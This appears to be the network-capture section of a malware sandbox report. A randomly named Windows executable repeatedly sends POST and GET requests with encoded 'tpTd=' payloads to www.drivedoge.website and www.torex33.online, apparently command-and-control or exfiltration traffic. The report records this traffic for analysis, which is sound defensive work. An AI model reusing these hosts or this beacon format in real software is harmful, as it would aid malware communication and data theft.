Oct 8, 2024 15:36:39.447755098 CEST	1120	IN	Data Raw: 2e 39 39 30 32 63 30 2c 35 2e 35 37 35 36 32 2c 32 2e 35 30 36 38 38 2c 36 2e 35 34 38 32 39 2c 38 2e 34 39 33 33 2c 36 2e 35 34 38 32 39 48 37 31 33 2e 38 34 34 63 31 2e 38 31 33 34 35 2c 30 2c 32 2e 39 32 34 30 37 2e 36 39 36 34 35 2c 32 2e 39 Data Ascii: .9902c0,5.57562,2.50688,6.54829,8.4933,6.54829H713.844c1.81345,0,2.92407.69645,2.92407,2.08968v8.63763C716.76805,148.9833,715.93366,149.8214,714.11987,150.10066Z" class="cls-1"></path><path d="M523.55018,5.59211l4.971,2.86822a1.29783,1.29783,0
Oct 8, 2024 15:36:39.447787046 CEST	1236	IN	Data Raw: 37 31 2c 31 2e 33 30 39 37 31 2c 30 2c 30 2c 31 2c 35 35 32 2e 32 36 2c 34 39 2e 35 37 35 5a 22 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 34 38 30 2e 32 34 35 35 39 2c 33 37 2e 38 33 33 39 34 Data Ascii: 71,1.30971,0,0,1,552.26,49.575Z" class="cls-2"></path><path d="M480.24559,37.83394l-2.8652,4.96934a1.314,1.314,0,0,1-1.761.42392L453.41855,30.40853a1.25423,1.25423,0,0,1-.4569-1.70378l2.86519-4.96631a1.25738,1.25738,0,0,1,1.70849-.45656l22.194
Oct 8, 2024 15:36:39.447798967 CEST	1236	IN	Data Raw: 35 36 2e 36 39 38 31 33 2d 31 2e 32 35 35 32 39 76 2d 37 33 2e 32 36 36 61 32 2e 35 36 31 2c 32 2e 35 36 31 2c 30 2c 30 2c 31 2c 32 2e 36 34 35 31 36 2d 32 2e 36 34 38 35 32 48 37 35 2e 36 33 38 36 32 61 32 2e 35 36 31 36 35 2c 32 2e 35 36 31 36 Data Ascii: 56.69813-1.25529v-73.266a2.561,2.561,0,0,1,2.64516-2.64852H75.63862a2.56165,2.56165,0,0,1,2.64482,2.64852v95.27978A5.5874,5.5874,0,0,1,72.71118,150.10066Z" class="cls-2"></path><path d="M152.81649,147.59344a118.76528,118.76528,0,0,1-27.99855,3
Oct 8, 2024 15:36:39.448275089 CEST	1236	IN	Data Raw: 30 35 36 35 2c 32 38 2e 31 33 38 31 38 2d 32 36 2e 36 30 35 36 35 68 33 2e 33 34 33 63 37 2e 38 30 30 32 31 2c 30 2c 31 34 2e 30 36 37 35 37 2c 31 2e 38 31 30 34 33 2c 31 38 2e 33 38 36 35 35 2c 35 2e 35 37 32 35 39 2c 34 2e 33 31 39 2d 33 2e 37 Data Ascii: 0565,28.13818-26.60565h3.343c7.80021,0,14.06757,1.81043,18.38655,5.57259,4.319-3.76216,10.72429-5.57259,18.52585-5.57259h3.34329c17.69146,0,28.13784,9.05517,28.13784,26.60565v50.00529A2.80436,2.80436,0,0,1,267.18568,150.10066Z" class="cls-2"><
Oct 8, 2024 15:36:39.448286057 CEST	1236	IN	Data Raw: 30 2d 31 33 2e 32 34 34 36 32 2c 37 2e 39 36 37 37 34 2d 31 39 2e 37 34 36 38 33 2c 31 38 2e 35 32 37 35 31 2d 31 39 2e 37 34 36 38 33 61 34 34 2e 35 37 39 32 2c 34 34 2e 35 37 39 32 2c 30 2c 30 2c 31 2c 31 30 2e 34 38 31 33 37 2c 31 2e 30 35 38 Data Ascii: 0-13.24462,7.96774-19.74683,18.52751-19.74683a44.5792,44.5792,0,0,1,10.48137,1.05814c1.37978.32534,1.70512.81151,1.70512,2.11256v5.27988c0,.81184-.64733,1.21592-1.45884,1.21592h-.24628a70.35535,70.35535,0,0,0-10.48137-.56187c-3.81768,0-7.79988
Oct 8, 2024 15:36:39.448307991 CEST	544	IN	Data Raw: 33 36 32 2d 36 2e 35 38 31 32 37 68 2d 31 2e 39 35 35 31 63 2d 33 2e 37 33 32 35 36 2c 30 2d 35 2e 36 38 34 32 39 2c 31 2e 30 35 34 37 37 2d 35 2e 36 38 34 32 39 2c 36 2e 35 38 31 32 37 76 32 39 2e 31 36 33 33 33 61 31 2e 36 33 36 2c 31 2e 36 33 Data Ascii: 362-6.58127h-1.9551c-3.73256,0-5.68429,1.05477-5.68429,6.58127v29.16333a1.636,1.636,0,0,1-1.54733,1.71185H827.2866a1.63824,1.63824,0,0,1-1.54733-1.71185V119.22548c0-10.23981,6.09476-15.52138,16.41161-15.52138h1.9551c4.55047,0,8.204,1.05814,10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	60856	195.161.68.8	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:44.609220028 CEST	746	OUT	POST /c6cw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.drivedoge.website Origin: http://www.drivedoge.website Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.drivedoge.website/c6cw/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 49 6f 75 55 33 41 74 76 39 31 55 35 72 75 65 63 35 76 35 62 72 36 64 5a 79 4f 63 51 6f 4d 48 6a 63 48 44 67 4b 36 6a 54 5a 52 78 34 50 50 4e 50 2f 70 56 7a 4f 53 53 71 36 63 30 65 59 32 6d 6e 52 2f 47 34 6f 2f 61 79 78 35 65 76 5a 35 6f 68 69 76 7a 38 6e 58 38 6b 54 4b 68 4e 38 68 4b 48 52 44 57 4d 68 32 35 50 47 65 4c 74 6c 73 6b 69 4c 70 73 56 37 31 2b 76 31 47 58 4b 63 33 35 64 49 6d 31 52 77 41 32 63 42 53 63 34 62 5a 6e 51 49 2f 2f 65 78 36 55 75 78 51 32 4d 4d 59 56 57 66 56 38 2b 68 69 48 7a 4c 57 42 77 7a 37 41 48 6e 4a 30 64 50 72 64 70 48 37 48 62 Data Ascii: tpTd=IouU3Atv91U5ruec5v5br6dZyOcQoMHjcHDgK6jTZRx4PPNP/pVzOSSq6c0eY2mnR/G4o/ayx5evZ5ohivz8nX8kTKhN8hKHRDWMh25PGeLtlskiLpsV71+v1GXKc35dIm1RwA2cBSc4bZnQI//ex6UuxQ2MMYVWfV8+hiHzLWBwz7AHnJ0dPrdpH7Hb
Oct 8, 2024 15:36:45.350007057 CEST	778	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:36:45 GMT Content-Type: text/html Content-Length: 634 Connection: close Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 [TRUNCATED] Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	60857	195.161.68.8	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:47.166169882 CEST	770	OUT	POST /c6cw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.drivedoge.website Origin: http://www.drivedoge.website Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.drivedoge.website/c6cw/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 49 6f 75 55 33 41 74 76 39 31 55 35 70 50 75 63 71 63 52 62 6e 4b 64 47 2b 75 63 51 6d 73 48 76 63 47 2f 67 4b 2f 43 49 5a 6a 56 34 50 75 39 50 34 6f 56 7a 4c 53 53 71 6a 73 30 62 57 57 6d 38 52 2f 61 47 6f 2f 6d 79 78 35 69 76 5a 37 67 68 6a 59 48 2f 6d 48 38 71 63 71 68 31 6a 78 4b 48 52 44 57 4d 68 32 45 59 47 65 44 74 6c 64 55 69 4b 4c 55 57 79 56 2b 73 79 47 58 4b 57 6e 35 5a 49 6d 31 4a 77 42 71 36 42 52 6b 34 62 59 58 51 49 72 72 5a 37 36 55 67 73 67 33 68 66 59 67 49 58 56 73 57 69 68 7a 59 5a 57 4a 74 39 36 67 5a 32 37 39 47 61 38 64 4f 41 63 4f 7a 72 42 46 5a 6a 6d 34 43 59 52 4e 56 75 66 78 65 65 46 59 6b 58 51 3d 3d Data Ascii: tpTd=IouU3Atv91U5pPucqcRbnKdG+ucQmsHvcG/gK/CIZjV4Pu9P4oVzLSSqjs0bWWm8R/aGo/myx5ivZ7ghjYH/mH8qcqh1jxKHRDWMh2EYGeDtldUiKLUWyV+syGXKWn5ZIm1JwBq6BRk4bYXQIrrZ76Ugsg3hfYgIXVsWihzYZWJt96gZ279Ga8dOAcOzrBFZjm4CYRNVufxeeFYkXQ==
Oct 8, 2024 15:36:47.871860981 CEST	778	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:36:47 GMT Content-Type: text/html Content-Length: 634 Connection: close Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 [TRUNCATED] Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	60858	195.161.68.8	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:49.712145090 CEST	1783	OUT	POST /c6cw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.drivedoge.website Origin: http://www.drivedoge.website Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.drivedoge.website/c6cw/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 49 6f 75 55 33 41 74 76 39 31 55 35 70 50 75 63 71 63 52 62 6e 4b 64 47 2b 75 63 51 6d 73 48 76 63 47 2f 67 4b 2f 43 49 5a 6a 64 34 50 38 5a 50 2b 4c 39 7a 49 53 53 71 38 63 30 61 57 57 6e 73 52 2f 43 43 6f 2f 72 48 78 2f 75 76 59 59 34 68 79 63 62 2f 73 48 38 71 45 61 68 4f 38 68 4b 53 52 44 47 49 68 33 34 59 47 65 44 74 6c 65 4d 69 65 70 73 57 30 56 2b 76 31 47 58 38 63 33 35 68 49 69 5a 33 77 42 65 4d 42 68 45 34 62 34 48 51 4c 59 54 5a 6d 71 55 31 76 67 33 35 66 59 38 70 58 56 78 36 69 67 48 79 5a 55 4a 74 2f 75 5a 6d 70 4b 4a 4c 45 4f 4a 6c 58 74 6d 77 71 58 70 78 6b 32 46 46 50 53 70 78 35 61 77 4b 66 30 4e 41 48 63 6b 6a 30 77 50 36 68 36 75 7a 4c 64 49 4b 31 45 30 56 64 4b 36 67 67 4b 30 4d 4f 30 33 72 70 70 76 4a 4b 4d 4a 47 57 52 49 31 44 36 33 68 6f 79 6f 35 53 31 32 41 76 33 70 67 30 45 63 43 6a 79 4e 33 51 44 4b 4d 38 41 5a 52 46 71 4f 34 43 69 4a 6a 5a 5a 42 36 6d 39 56 76 37 63 51 4d 76 6e 4e 79 39 75 44 47 44 75 72 58 6e 71 66 44 39 58 76 35 39 65 75 44 2b 59 35 45 49 [TRUNCATED] Data Ascii: tpTd=IouU3Atv91U5pPucqcRbnKdG+ucQmsHvcG/gK/CIZjd4P8ZP+L9zISSq8c0aWWnsR/CCo/rHx/uvYY4hycb/sH8qEahO8hKSRDGIh34YGeDtleMiepsW0V+v1GX8c35hIiZ3wBeMBhE4b4HQLYTZmqU1vg35fY8pXVx6igHyZUJt/uZmpKJLEOJlXtmwqXpxk2FFPSpx5awKf0NAHckj0wP6h6uzLdIK1E0VdK6ggK0MO03rppvJKMJGWRI1D63hoyo5S12Av3pg0EcCjyN3QDKM8AZRFqO4CiJjZZB6m9Vv7cQMvnNy9uDGDurXnqfD9Xv59euD+Y5EILkQu2CuJmsn9aujhQ/j5pJbAjwW2Zx6Ggjyh8+giEUtPsO4vPjPbnDkEnTLcP0znuZr55vCb4THI54JjrT4PZLGDWtyRx494hVaqvpvL3CBdgClWMRNORcgb57u+Fg2h9hxNNq8FbqfuaGBfLbuOfdsGXmva6JwNty9EmcQsk1sqBlFzUClvLcKcFhRyooBsSHwMGo4fWY+yUlGqPjV+QCik37JI4gHAaanxsnGuuzUHdApsqzpEgg+9H4VoWsEvRlZtvd3Nk2SN0TNlNblXbFYM3hjr6vB5j6Jf9Y6/vvy3VjM3jVXyxFTROofnEdyER7jU0h/L+FRxE+as8pRYl+VAxlS9AnWZtmDOriS48svbj5aOQKXTfkvZXcq9lYBDJeKxgZ53Srk6zVEhHttROcbr8B+UbIZQioLI+bPg5iR8CiNc3CAxnoU54cBvqCnVlDD/RrHDUWX7XbqzTjHLwWPIuM7hRhMiR7Ht6LjZTewpMwRIrqm1vo9WU4NjClnJ8CHfW9mDPqyVMh9IIgJ7l6js03scURSlXUxJnOL4nnazsHsUmXa2dL/GSjeiUhyT3WxI9Zw3fgL1mCHksWp2Abil0Vx3c2i9KrMCIVKKDUZ60slQ15/b012d9k0J78qvoaJd3JSsqXsufno4KVV8UlUrDx4GW8ryt8 [TRUNCATED]
Oct 8, 2024 15:36:50.434241056 CEST	778	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:36:50 GMT Content-Type: text/html Content-Length: 634 Connection: close Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 [TRUNCATED] Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	60859	195.161.68.8	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:52.255220890 CEST	478	OUT	GET /c6cw/?WX=rnWllP5PLlhLLtj&tpTd=FqG002IG5EdskeSYnMZEmsgm4M8u04DOLE26DOOOZGkEYfdt2aoEMjGd+Okidkvsa7u+peDvqMbFWL8Zvpj7qkQAFbZLww+9EwijpyIUD9D3/88cfw== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.drivedoge.website Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:36:52.997530937 CEST	778	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:36:52 GMT Content-Type: text/html Content-Length: 634 Connection: close Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 [TRUNCATED] Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	60860	194.58.112.174	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:58.129393101 CEST	737	OUT	POST /hd7m/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.torex33.online Origin: http://www.torex33.online Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.torex33.online/hd7m/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 68 4a 7a 6b 57 63 72 30 76 48 64 57 64 56 77 64 78 6a 33 33 54 4f 39 67 46 56 54 65 7a 63 77 5a 6e 45 4c 67 75 4c 34 37 34 4d 37 43 4d 2b 77 45 77 5a 45 38 50 38 37 44 31 77 66 52 46 67 42 30 5a 76 55 7a 47 71 76 5a 54 56 79 45 56 47 7a 71 69 62 51 42 32 41 52 51 78 33 50 65 69 41 6e 6f 37 77 30 54 39 38 54 72 4a 34 56 51 30 68 5a 48 50 73 6d 6a 67 6f 42 67 4b 76 5a 41 76 4d 4d 30 54 54 38 5a 69 74 37 41 6b 53 5a 65 72 36 6c 41 45 6a 78 4b 72 6f 4a 4e 2b 41 72 2b 75 62 43 6c 77 36 49 4f 35 47 53 75 34 47 36 53 31 50 52 5a 4b 77 47 78 4c 33 5a 31 36 2f 4f 38 Data Ascii: tpTd=hJzkWcr0vHdWdVwdxj33TO9gFVTezcwZnELguL474M7CM+wEwZE8P87D1wfRFgB0ZvUzGqvZTVyEVGzqibQB2ARQx3PeiAno7w0T98TrJ4VQ0hZHPsmjgoBgKvZAvMM0TT8Zit7AkSZer6lAEjxKroJN+Ar+ubClw6IO5GSu4G6S1PRZKwGxL3Z16/O8
Oct 8, 2024 15:36:58.822611094 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 13:36:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 65 33 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 01 96 94 88 64 9c b4 43 12 4b 72 d3 a4 db 97 b4 1d e0 74 c3 e0 a6 c2 15 75 2d b1 a2 48 8d a4 ec a8 49 80 36 e9 2b 1a 34 68 57 60 43 b1 f7 61 d8 a7 01 89 13 af 6e 5e 9c bf 40 fe a3 3d e7 5c 92 a2 64 c9 71 d2 b4 ab 01 db d2 7d 3d f7 9c e7 3c e7 dc 97 fa d1 8e 6f 47 e3 a1 12 bd 68 e0 36 eb f4 57 d8 ae 0c c3 46 c9 09 5b b2 23 87 91 b3 a9 4a c2 95 5e b7 51 0a 46 25 b4 51 b2 d3 ac 0f 54 24 85 dd 93 41 a8 a2 46 e9 ad 4b bf 30 4e a3 8e 4b 3d 39 50 8d d2 50 06 7d c7 eb 96 84 ed 7b 91 f2 d0 28 50 dd 60 64 04 18 73 ba e5 a6 a3 b6 86 7e 10 15 9a 6e 39 9d a8 d7 e8 a8 4d c7 56 06 7f a9 39 9e 13 39 d2 35 42 5b ba aa b1 8c 21 22 27 72 55 73 6b 6b cb 8c fc 40 5d 39 75 ca f4 3d d7 f1 54 dd d2 35 75 7c e9 8b 40 b9 8d 52 18 8d 5d 15 f6 94 c2 24 03 d5 71 64 a3 24 5d b7 24 7a 81 da c8 45 65 d1 0c 39 8a 7c d3 0e 43 4c 30 e9 ef 60 11 59 eb 0d 09 a9 7c cf c4 9f d5 e5 92 20 ed 41 59 03 d9 55 d6 15 83 1b 36 eb a1 1d 38 c3 a8 69 1d ab 1f 5d 3f 7f [TRUNCATED] Data Ascii: e32Zmo_qdCKrtu-HI6+4hW`Can^@=\dq}=<oGh6WF[#J^QF%QT$AFK0NK=9PP}{(P`ds~n9MV995B[!"'rUskk@]9u=T5u\|@R]$qd$]$zEe9\|CL0`Y\| AYU68i]?s#[!l 7hgGUW]<ftt0y4JHPad%WAPvT6l<6,f#mSQd4Z~gma+\|\\|j-"RAqnj4T=E\|\DL$x7 ;TJmj3h,[J~xA\!hv3y?YdnabJpAS[FlF#d0S6NmX`j(er>\4nz;hXb-`->\(\|/U +!~b+&j)Rs,CH-p3;"g=k;jo,u8H%9G+GohB((=v^MH''aQ4$#;Rt2!uZe(x/$)#-8a8j)k^!pc0_kfT0\UGrXo1fmEm_G [TRUNCATED]
Oct 8, 2024 15:36:58.822639942 CEST	1236	IN	Data Raw: df d3 f6 e9 ac 13 f3 17 a8 d5 35 06 f0 65 c7 6b b9 6a 23 32 b4 5f 63 c2 28 f0 bd ee d3 8d 02 1e 06 dc 6d 0a 63 ff 02 7a 11 b3 a0 de c7 f1 3d e0 8c 47 98 e2 d8 59 d7 d5 ca 09 47 6d 6d f2 5c 92 b6 0f b6 1b 20 4a 7a 0a e3 fe 19 b1 ef 7e f2 25 5c e4 Data Ascii: 5ekj#2_c(mcz=GYGmm\ Jz~%\qynT\@)9f@JF@towZYj!;]har`$C/0N1(j$?<,C*r>C+@?: 1AO!V?lX
Oct 8, 2024 15:36:58.822663069 CEST	1236	IN	Data Raw: 65 95 c8 78 ff 49 a4 c9 5c 07 ca d2 71 58 e4 a9 68 0a 2f 4e bc 17 83 31 db 87 73 0a 0b d2 a3 b0 4e 89 40 31 89 45 d2 cc 69 01 67 c5 85 e3 09 34 47 4a 0c 2e 7f 04 fe fc 94 c3 3d f6 b5 0c 74 c8 73 54 c4 df 70 37 00 5a e7 1a a0 ee 1a f6 ca f9 66 9a Data Ascii: exI\qXh/N1sN@1Eig4GJ.=tsTp7Zf\|pAP9'G'y'qP4giyMg=3y"!Tz ^{R\|s;.t^JfW##Y?GDA&CU1'pT
